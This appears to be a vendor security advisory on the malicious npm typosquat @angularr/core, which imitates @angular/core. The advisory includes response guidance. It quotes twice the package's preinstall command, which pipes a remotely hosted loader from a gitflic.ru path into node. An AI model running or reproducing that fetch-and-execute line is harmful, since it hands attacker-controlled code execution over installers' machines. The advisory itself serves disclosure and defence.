@angularr/corenpm
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@angularr/core is a confirmed malicious npm package (MAL-2026-17493) that typosquats a legitimate package to trick installs (malicious version 1.0.67). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @angularr/core (npm)
What this malware does
@angularr/[email protected] impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.
The package's npm preinstall lifecycle script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every npm install. The destination (gitflic.ru under a user path hellscripter/install-scripts, routed via a web.archive.org proxy) is unrelated to any @angular publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name @angularr/core is a one-letter variant of the widely-used @angular/core, increasing the likelihood of accidental installation.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @angularr/core (version 1.0.67).
If you installed it — respond
@angularr/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angularr/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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- InvisiRisk, Inc. · finder
Detect & block this
O3 blocks @angularr/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.